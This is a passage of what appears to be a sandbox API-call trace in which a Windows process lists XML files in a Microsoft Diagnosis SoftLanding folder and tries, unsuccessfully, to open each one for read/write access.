ftCreationTime.dwHighDateTime=0x1d336c5, ftLastAccessTime.dwLowDateTime=0x4e24298b, ftLastAccessTime.dwHighDateTime=0x1d33839, ftLastWriteTime.dwLowDateTime=0xb9eacc8c, ftLastWriteTime.dwHighDateTime=0x1d336c5, nFileSizeHigh=0x0, nFileSizeLow=0x433c, dwReserved0=0x0, dwReserved1=0x0, cFileName="acae4208-0ac4-4ef7-ac45-bb688b09e559_show.xml", cAlternateFileName="ACAE42~1.XML")) returned 1 [0103.356] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1f9edbb0 | out: lpFindFileData=0x1f9edbb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc779c570, ftCreationTime.dwHighDateTime=0x1d336c5, ftLastAccessTime.dwLowDateTime=0x4e28ee3c, ftLastAccessTime.dwHighDateTime=0x1d33839, ftLastWriteTime.dwLowDateTime=0xba09c6cc, ftLastWriteTime.dwHighDateTime=0x1d336c5, nFileSizeHigh=0x0, nFileSizeLow=0x443f, dwReserved0=0x0, dwReserved1=0x0, cFileName="acae4208-0ac4-4ef7-ac45-bb688b09e559_withdraw.xml", cAlternateFileName="ACAE42~2.XML")) returned 1 [0103.356] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1f9edbb0 | out: lpFindFileData=0x1f9edbb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc779c570, ftCreationTime.dwHighDateTime=0x1d336c5, ftLastAccessTime.dwLowDateTime=0x4e2b5071, ftLastAccessTime.dwHighDateTime=0x1d33839, ftLastWriteTime.dwLowDateTime=0xb8d3a091, ftLastWriteTime.dwHighDateTime=0x1d336c5, nFileSizeHigh=0x0, nFileSizeLow=0x442d, dwReserved0=0x0, dwReserved1=0x0, cFileName="c0802597-6174-487a-b7de-20e8b1aa384e_show.xml", cAlternateFileName="C08025~1.XML")) returned 1 [0103.357] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1f9edbb0 | out: lpFindFileData=0x1f9edbb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc77c27a6, ftCreationTime.dwHighDateTime=0x1d336c5, ftLastAccessTime.dwLowDateTime=0x4e2db2dd, ftLastAccessTime.dwHighDateTime=0x1d33839, ftLastWriteTime.dwLowDateTime=0xb8c553ea, ftLastWriteTime.dwHighDateTime=0x1d336c5, nFileSizeHigh=0x0, nFileSizeLow=0x4187, dwReserved0=0x0, dwReserved1=0x0, cFileName="c0802597-6174-487a-b7de-20e8b1aa384e_withdraw.xml", cAlternateFileName="C08025~2.XML")) returned 1 [0103.357] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1f9edbb0 | out: lpFindFileData=0x1f9edbb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc77c27a6, ftCreationTime.dwHighDateTime=0x1d336c5, ftLastAccessTime.dwLowDateTime=0x4e301522, ftLastAccessTime.dwHighDateTime=0x1d33839, ftLastWriteTime.dwLowDateTime=0xbb0b32d3, ftLastWriteTime.dwHighDateTime=0x1d336c5, nFileSizeHigh=0x0, nFileSizeLow=0x418b, dwReserved0=0x0, dwReserved1=0x0, cFileName="e80c855c-d75c-47b1-9ae4-f07f8c6c613d_show.xml", cAlternateFileName="E80C85~1.XML")) returned 1 [0103.357] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1f9edbb0 | out: lpFindFileData=0x1f9edbb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc77e89d5, ftCreationTime.dwHighDateTime=0x1d336c5, ftLastAccessTime.dwLowDateTime=0x4e34d9d0, ftLastAccessTime.dwHighDateTime=0x1d33839, ftLastWriteTime.dwLowDateTime=0xbaf35d10, ftLastWriteTime.dwHighDateTime=0x1d336c5, nFileSizeHigh=0x0, nFileSizeLow=0x4172, dwReserved0=0x0, dwReserved1=0x0, cFileName="e80c855c-d75c-47b1-9ae4-f07f8c6c613d_withdraw.xml", cAlternateFileName="E80C85~2.XML")) returned 1 [0103.357] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1f9edbb0 | out: lpFindFileData=0x1f9edbb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c930e8, ftCreationTime.dwHighDateTime=0x1d327b4, ftLastAccessTime.dwLowDateTime=0x4e399e7e, ftLastAccessTime.dwHighDateTime=0x1d33839, ftLastWriteTime.dwLowDateTime=0x8507a310, ftLastWriteTime.dwHighDateTime=0x1d327b4, nFileSizeHigh=0x0, nFileSizeLow=0x5c3a, dwReserved0=0x0, dwReserved1=0x0, cFileName="e9d21752-8fc9-4793-b42e-33105b078a51_show.xml", cAlternateFileName="E9D217~1.XML")) returned 1 [0103.357] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1f9edbb0 | out: lpFindFileData=0x1f9edbb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c930e8, ftCreationTime.dwHighDateTime=0x1d327b4, ftLastAccessTime.dwLowDateTime=0x4e458a8d, ftLastAccessTime.dwHighDateTime=0x1d33839, ftLastWriteTime.dwLowDateTime=0x85007c03, ftLastWriteTime.dwHighDateTime=0x1d327b4, nFileSizeHigh=0x0, nFileSizeLow=0x424c, dwReserved0=0x0, dwReserved1=0x0, cFileName="e9d21752-8fc9-4793-b42e-33105b078a51_withdraw.xml", cAlternateFileName="E9D217~2.XML")) returned 1 [0103.357] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1f9edbb0 | out: lpFindFileData=0x1f9edbb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc780ec0e, ftCreationTime.dwHighDateTime=0x1d336c5, ftLastAccessTime.dwLowDateTime=0x4e4a4f18, ftLastAccessTime.dwHighDateTime=0x1d33839, ftLastWriteTime.dwLowDateTime=0xb806a476, ftLastWriteTime.dwHighDateTime=0x1d336c5, nFileSizeHigh=0x0, nFileSizeLow=0x43ad, dwReserved0=0x0, dwReserved1=0x0, cFileName="fffd8b5d-0172-4719-a792-b7c76986459d_show.xml", cAlternateFileName="FFFD8B~1.XML")) returned 1 [0103.358] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1f9edbb0 | out: lpFindFileData=0x1f9edbb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc780ec0e, ftCreationTime.dwHighDateTime=0x1d336c5, ftLastAccessTime.dwLowDateTime=0x4e4cb173, ftLastAccessTime.dwHighDateTime=0x1d33839, ftLastWriteTime.dwLowDateTime=0xb819b5fa, ftLastWriteTime.dwHighDateTime=0x1d336c5, nFileSizeHigh=0x0, nFileSizeLow=0x4443, dwReserved0=0x0, dwReserved1=0x0, cFileName="fffd8b5d-0172-4719-a792-b7c76986459d_withdraw.xml", cAlternateFileName="FFFD8B~2.XML")) returned 1 [0103.358] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1f9edbb0 | out: lpFindFileData=0x1f9edbb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc780ec0e, ftCreationTime.dwHighDateTime=0x1d336c5, ftLastAccessTime.dwLowDateTime=0x4e4cb173, ftLastAccessTime.dwHighDateTime=0x1d33839, ftLastWriteTime.dwLowDateTime=0xb819b5fa, ftLastWriteTime.dwHighDateTime=0x1d336c5, nFileSizeHigh=0x0, nFileSizeLow=0x4443, dwReserved0=0x0, dwReserved1=0x0, cFileName="fffd8b5d-0172-4719-a792-b7c76986459d_withdraw.xml", cAlternateFileName="FFFD8B~2.XML")) returned 0 [0103.358] FindClose (in: hFindFile=0x131de00 | out: hFindFile=0x131de00) returned 1 [0103.359] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ede10) returned 1 [0103.359] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9eddd0) returned 1 [0103.359] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Diagnosis\\SoftLanding\\03d1e1da-f580-45d7-afdd-3598ed7cdba4_show.xml", nBufferLength=0x105, lpBuffer=0x1f9ed7b0, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Diagnosis\\SoftLanding\\03d1e1da-f580-45d7-afdd-3598ed7cdba4_show.xml", lpFilePart=0x0) returned 0x5c [0103.359] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9edc80) returned 1 [0103.359] GetFileAttributesExW (in: lpFileName="C:\\ProgramData\\Microsoft\\Diagnosis\\SoftLanding\\03d1e1da-f580-45d7-afdd-3598ed7cdba4_show.xml" (normalized: "c:\\programdata\\microsoft\\diagnosis\\softlanding\\03d1e1da-f580-45d7-afdd-3598ed7cdba4_show.xml"), fInfoLevelId=0x0, lpFileInformation=0x3641c60 | out: lpFileInformation=0x3641c60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8bfa790, ftCreationTime.dwHighDateTime=0x1d327b4, ftLastAccessTime.dwLowDateTime=0x4de62c84, ftLastAccessTime.dwHighDateTime=0x1d33839, ftLastWriteTime.dwLowDateTime=0x840fae4f, ftLastWriteTime.dwHighDateTime=0x1d327b4, nFileSizeHigh=0x0, nFileSizeLow=0x41c2)) returned 1 [0103.360] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9edc40) returned 1 [0103.360] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Diagnosis\\SoftLanding\\03d1e1da-f580-45d7-afdd-3598ed7cdba4_show.xml", nBufferLength=0x105, lpBuffer=0x1f9ed660, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Diagnosis\\SoftLanding\\03d1e1da-f580-45d7-afdd-3598ed7cdba4_show.xml", lpFilePart=0x0) returned 0x5c [0103.360] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9edb80) returned 1 [0103.360] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Diagnosis\\SoftLanding\\03d1e1da-f580-45d7-afdd-3598ed7cdba4_show.xml" (normalized: "c:\\programdata\\microsoft\\diagnosis\\softlanding\\03d1e1da-f580-45d7-afdd-3598ed7cdba4_show.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffffffffffff [0103.361] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ea570) returned 1 [0103.362] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Diagnosis\\SoftLanding\\03d1e1da-f580-45d7-afdd-3598ed7cdba4_withdraw.xml", nBufferLength=0x105, lpBuffer=0x1f9ed7b0, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Diagnosis\\SoftLanding\\03d1e1da-f580-45d7-afdd-3598ed7cdba4_withdraw.xml", lpFilePart=0x0) returned 0x60 [0103.362] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9edc80) returned 1 [0103.362] GetFileAttributesExW (in: lpFileName="C:\\ProgramData\\Microsoft\\Diagnosis\\SoftLanding\\03d1e1da-f580-45d7-afdd-3598ed7cdba4_withdraw.xml" (normalized: "c:\\programdata\\microsoft\\diagnosis\\softlanding\\03d1e1da-f580-45d7-afdd-3598ed7cdba4_withdraw.xml"), fInfoLevelId=0x0, lpFileInformation=0x3642510 | out: lpFileInformation=0x3642510*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c20a14, ftCreationTime.dwHighDateTime=0x1d327b4, ftLastAccessTime.dwLowDateTime=0x4defb5dd, ftLastAccessTime.dwHighDateTime=0x1d33839, ftLastWriteTime.dwLowDateTime=0x840fae4f, ftLastWriteTime.dwHighDateTime=0x1d327b4, nFileSizeHigh=0x0, nFileSizeLow=0x441b)) returned 1 [0103.364] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9edc40) returned 1 [0103.364] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Diagnosis\\SoftLanding\\03d1e1da-f580-45d7-afdd-3598ed7cdba4_withdraw.xml", nBufferLength=0x105, lpBuffer=0x1f9ed660, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Diagnosis\\SoftLanding\\03d1e1da-f580-45d7-afdd-3598ed7cdba4_withdraw.xml", lpFilePart=0x0) returned 0x60 [0103.364] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9edb80) returned 1 [0103.364] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Diagnosis\\SoftLanding\\03d1e1da-f580-45d7-afdd-3598ed7cdba4_withdraw.xml" (normalized: "c:\\programdata\\microsoft\\diagnosis\\softlanding\\03d1e1da-f580-45d7-afdd-3598ed7cdba4_withdraw.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffffffffffff [0103.365] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ea570) returned 1 [0103.366] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Diagnosis\\SoftLanding\\394b7b36-41b9-4032-9875-c0240ca5a7f5_show.xml", nBufferLength=0x105, lpBuffer=0x1f9ed7b0, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Diagnosis\\SoftLanding\\394b7b36-41b9-4032-9875-c0240ca5a7f5_show.xml", lpFilePart=0x0) returned 0x5c [0103.366] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9edc80) returned 1 [0103.366] GetFileAttributesExW (in: lpFileName="C:\\ProgramData\\Microsoft\\Diagnosis\\SoftLanding\\394b7b36-41b9-4032-9875-c0240ca5a7f5_show.xml" (normalized: "c:\\programdata\\microsoft\\diagnosis\\softlanding\\394b7b36-41b9-4032-9875-c0240ca5a7f5_show.xml"), fInfoLevelId=0x0, lpFileInformation=0x3642de8 | out: lpFileInformation=0x3642de8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc7750111, ftCreationTime.dwHighDateTime=0x1d336c5, ftLastAccessTime.dwLowDateTime=0x4df6de00, ftLastAccessTime.dwHighDateTime=0x1d33839, ftLastWriteTime.dwLowDateTime=0xb8128f6c, ftLastWriteTime.dwHighDateTime=0x1d336c5, nFileSizeHigh=0x0, nFileSizeLow=0x4180)) returned 1 [0103.366] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9edc40) returned 1 [0103.367] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Diagnosis\\SoftLanding\\394b7b36-41b9-4032-9875-c0240ca5a7f5_show.xml", nBufferLength=0x105, lpBuffer=0x1f9ed660, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Diagnosis\\SoftLanding\\394b7b36-41b9-4032-9875-c0240ca5a7f5_show.xml", lpFilePart=0x0) returned 0x5c [0103.367] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9edb80) returned 1 [0103.367] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Diagnosis\\SoftLanding\\394b7b36-41b9-4032-9875-c0240ca5a7f5_show.xml" (normalized: "c:\\programdata\\microsoft\\diagnosis\\softlanding\\394b7b36-41b9-4032-9875-c0240ca5a7f5_show.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffffffffffff [0103.368] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ea570) returned 1 [0103.369] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Diagnosis\\SoftLanding\\394b7b36-41b9-4032-9875-c0240ca5a7f5_withdraw.xml", nBufferLength=0x105, lpBuffer=0x1f9ed7b0, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Diagnosis\\SoftLanding\\394b7b36-41b9-4032-9875-c0240ca5a7f5_withdraw.xml", lpFilePart=0x0) returned 0x60 [0103.369] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9edc80) returned 1 [0103.369] GetFileAttributesExW (in: lpFileName="C:\\ProgramData\\Microsoft\\Diagnosis\\SoftLanding\\394b7b36-41b9-4032-9875-c0240ca5a7f5_withdraw.xml" (normalized: "c:\\programdata\\microsoft\\diagnosis\\softlanding\\394b7b36-41b9-4032-9875-c0240ca5a7f5_withdraw.xml"), fInfoLevelId=0x0, lpFileInformation=0x3643698 | out: lpFileInformation=0x3643698*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc7750111, ftCreationTime.dwHighDateTime=0x1d336c5, ftLastAccessTime.dwLowDateTime=0x4e006640, ftLastAccessTime.dwHighDateTime=0x1d33839, ftLastWriteTime.dwLowDateTime=0xb5c02e23, ftLastWriteTime.dwHighDateTime=0x1d336c5, nFileSizeHigh=0x0, nFileSizeLow=0x4187)) returned 1 [0103.369] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9edc40) returned 1 [0103.369] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Diagnosis\\SoftLanding\\394b7b36-41b9-4032-9875-c0240ca5a7f5_withdraw.xml", nBufferLength=0x105, lpBuffer=0x1f9ed660, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Diagnosis\\SoftLanding\\394b7b36-41b9-4032-9875-c0240ca5a7f5_withdraw.xml", lpFilePart=0x0) returned 0x60 [0103.369] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9edb80) returned 1 [0103.369] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Diagnosis\\SoftLanding\\394b7b36-41b9-4032-9875-c0240ca5a7f5_withdraw.xml" (normalized: "c:\\programdata\\microsoft\\diagnosis\\softlanding\\394b7b36-41b9-4032-9875-c0240ca5a7f5_withdraw.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffffffffffff [0103.371] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ea570) returned 1 [0103.371] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Diagnosis\\SoftLanding\\75ef5b41-571d-4a4b-92bb-8b9f7fdc831f_show.xml", nBufferLength=0x105, lpBuffer=0x1f9ed7b0, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Diagnosis\\SoftLanding\\75ef5b41-571d-4a4b-92bb-8b9f7fdc831f_show.xml", lpFilePart=0x0) returned 0x5c [0103.371] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9edc80) returned 1 [0103.371] GetFileAttributesExW (in: lpFileName="C:\\ProgramData\\Microsoft\\Diagnosis\\SoftLanding\\75ef5b41-571d-4a4b-92bb-8b9f7fdc831f_show.xml" (normalized: "c:\\programdata\\microsoft\\diagnosis\\softlanding\\75ef5b41-571d-4a4b-92bb-8b9f7fdc831f_show.xml"), fInfoLevelId=0x0, lpFileInformation=0x3643f70 | out: lpFileInformation=0x3643f70*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c46c2e, ftCreationTime.dwHighDateTime=0x1d327b4, ftLastAccessTime.dwLowDateTime=0x4e09efaa, ftLastAccessTime.dwHighDateTime=0x1d33839, ftLastWriteTime.dwLowDateTime=0x8625bd94, ftLastWriteTime.dwHighDateTime=0x1d327b4, nFileSizeHigh=0x0, nFileSizeLow=0x4360)) returned 1 [0103.436] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9edc40) returned 1 [0103.436] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Diagnosis\\SoftLanding\\75ef5b41-571d-4a4b-92bb-8b9f7fdc831f_show.xml", nBufferLength=0x105, lpBuffer=0x1f9ed660, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Diagnosis\\SoftLanding\\75ef5b41-571d-4a4b-92bb-8b9f7fdc831f_show.xml", lpFilePart=0x0) returned 0x5c [0103.437] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9edb80) returned 1 [0103.437] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Diagnosis\\SoftLanding\\75ef5b41-571d-4a4b-92bb-8b9f7fdc831f_show.xml" (normalized: "c:\\programdata\\microsoft\\diagnosis\\softlanding\\75ef5b41-571d-4a4b-92bb-8b9f7fdc831f_show.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffffffffffff [0103.439] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ea570) returned 1 [0103.440] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Diagnosis\\SoftLanding\\75ef5b41-571d-4a4b-92bb-8b9f7fdc831f_withdraw.xml", nBufferLength=0x105, lpBuffer=0x1f9ed7b0, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Diagnosis\\SoftLanding\\75ef5b41-571d-4a4b-92bb-8b9f7fdc831f_withdraw.xml", lpFilePart=0x0) returned 0x60 [0103.440] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9edc80) returned 1 [0103.440] GetFileAttributesExW (in: lpFileName="C:\\ProgramData\\Microsoft\\Diagnosis\\SoftLanding\\75ef5b41-571d-4a4b-92bb-8b9f7fdc831f_withdraw.xml" (normalized: "c:\\programdata\\microsoft\\diagnosis\\softlanding\\75ef5b41-571d-4a4b-92bb-8b9f7fdc831f_withdraw.xml"), fInfoLevelId=0x0, lpFileInformation=0x3644820 | out: lpFileInformation=0x3644820*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c46c2e, ftCreationTime.dwHighDateTime=0x1d327b4, ftLastAccessTime.dwLowDateTime=0x4e0c51fa, ftLastAccessTime.dwHighDateTime=0x1d33839, ftLastWriteTime.dwLowDateTime=0x86556ca1, ftLastWriteTime.dwHighDateTime=0x1d327b4, nFileSizeHigh=0x0, nFileSizeLow=0x4473)) returned 1 [0103.440] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9edc40) returned 1 [0103.440] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Diagnosis\\SoftLanding\\75ef5b41-571d-4a4b-92bb-8b9f7fdc831f_withdraw.xml", nBufferLength=0x105, lpBuffer=0x1f9ed660, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Diagnosis\\SoftLanding\\75ef5b41-571d-4a4b-92bb-8b9f7fdc831f_withdraw.xml", lpFilePart=0x0) returned 0x60 [0103.440] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9edb80) returned 1 [0103.440] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Diagnosis\\SoftLanding\\75ef5b41-571d-4a4b-92bb-8b9f7fdc831f_withdraw.xml" (normalized: "c:\\programdata\\microsoft\\diagnosis\\softlanding\\75ef5b41-571d-4a4b-92bb-8b9f7fdc831f_withdraw.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffffffffffff [0103.442] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ea570) returned 1 [0103.443] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Diagnosis\\SoftLanding\\9984ecc0-931c-4feb-8996-203a6ffaa852_show.xml", nBufferLength=0x105, lpBuffer=0x1f9ed7b0, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Diagnosis\\SoftLanding\\9984ecc0-931c-4feb-8996-203a6ffaa852_show.xml", lpFilePart=0x0) returned 0x5c [0103.443] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9edc80) returned 1 [0103.443] GetFileAttributesExW (in: lpFileName="C:\\ProgramData\\Microsoft\\Diagnosis\\SoftLanding\\9984ecc0-931c-4feb-8996-203a6ffaa852_show.xml" (normalized: "c:\\programdata\\microsoft\\diagnosis\\softlanding\\9984ecc0-931c-4feb-8996-203a6ffaa852_show.xml"), fInfoLevelId=0x0, lpFileInformation=0x36450f8 | out: lpFileInformation=0x36450f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc7776347, ftCreationTime.dwHighDateTime=0x1d336c5, ftLastAccessTime.dwLowDateTime=0x4e15dbbf, ftLastAccessTime.dwHighDateTime=0x1d33839, ftLastWriteTime.dwLowDateTime=0xbbc2bb3b, ftLastWriteTime.dwHighDateTime=0x1d336c5, nFileSizeHigh=0x0, nFileSizeLow=0x418e)) returned 1 [0103.443] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9edc40) returned 1 [0103.443] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Diagnosis\\SoftLanding\\9984ecc0-931c-4feb-8996-203a6ffaa852_show.xml", nBufferLength=0x105, lpBuffer=0x1f9ed660, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Diagnosis\\SoftLanding\\9984ecc0-931c-4feb-8996-203a6ffaa852_show.xml", lpFilePart=0x0) returned 0x5c [0103.444] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9edb80) returned 1 [0103.444] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Diagnosis\\SoftLanding\\9984ecc0-931c-4feb-8996-203a6ffaa852_show.xml" (normalized: "c:\\programdata\\microsoft\\diagnosis\\softlanding\\9984ecc0-931c-4feb-8996-203a6ffaa852_show.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffffffffffff [0103.446] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ea570) returned 1 [0103.446] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Diagnosis\\SoftLanding\\9984ecc0-931c-4feb-8996-203a6ffaa852_withdraw.xml", nBufferLength=0x105, lpBuffer=0x1f9ed7b0, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Diagnosis\\SoftLanding\\9984ecc0-931c-4feb-8996-203a6ffaa852_withdraw.xml", lpFilePart=0x0) returned 0x60 [0103.446] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9edc80) returned 1 [0103.447] GetFileAttributesExW (in: lpFileName="C:\\ProgramData\\Microsoft\\Diagnosis\\SoftLanding\\9984ecc0-931c-4feb-8996-203a6ffaa852_withdraw.xml" (normalized: "c:\\programdata\\microsoft\\diagnosis\\softlanding\\9984ecc0-931c-4feb-8996-203a6ffaa852_withdraw.xml"), fInfoLevelId=0x0, lpFileInformation=0x36459a8 | out: lpFileInformation=0x36459a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc7776347, ftCreationTime.dwHighDateTime=0x1d336c5, ftLastAccessTime.dwLowDateTime=0x4e1f64ee, ftLastAccessTime.dwHighDateTime=0x1d33839, ftLastWriteTime.dwLowDateTime=0xbbb6d045, ftLastWriteTime.dwHighDateTime=0x1d336c5, nFileSizeHigh=0x0, nFileSizeLow=0x418c)) returned 1 [0103.447] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9edc40) returned 1 [0103.447] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Diagnosis\\SoftLanding\\9984ecc0-931c-4feb-8996-203a6ffaa852_withdraw.xml", nBufferLength=0x105, lpBuffer=0x1f9ed660, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Diagnosis\\SoftLanding\\9984ecc0-931c-4feb-8996-203a6ffaa852_withdraw.xml", lpFilePart=0x0) returned 0x60 [0103.447] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9edb80) returned 1 [0103.447] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Diagnosis\\SoftLanding\\9984ecc0-931c-4feb-8996-203a6ffaa852_withdraw.xml" (normalized: "c:\\programdata\\microsoft\\diagnosis\\softlanding\\9984ecc0-931c-4feb-8996-203a6ffaa852_withdraw.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffffffffffff [0103.449] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ea570) returned 1 [0103.450] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Diagnosis\\SoftLanding\\acae4208-0ac4-4ef7-ac45-bb688b09e559_show.xml", nBufferLength=0x105, lpBuffer=0x1f9ed7b0, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Diagnosis\\SoftLanding\\acae4208-0ac4-4ef7-ac45-bb688b09e559_show.xml", lpFilePart=0x0) returned 0x5c [0103.450] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9edc80) returned 1 [0103.450] GetFileAttributesExW (in: lpFileName="C:\\ProgramData\\Microsoft\\Diagnosis\\SoftLanding\\acae4208-0ac4-4ef7-ac45-bb688b09e559_show.xml" (normalized: "c:\\programdata\\microsoft\\diagnosis\\softlanding\\acae4208-0ac4-4ef7-ac45-bb688b09e559_show.xml"), fInfoLevelId=0x0, lpFileInformation=0x3646280 | out: lpFileInformation=0x3646280*(dwFileAttributes=0x20, 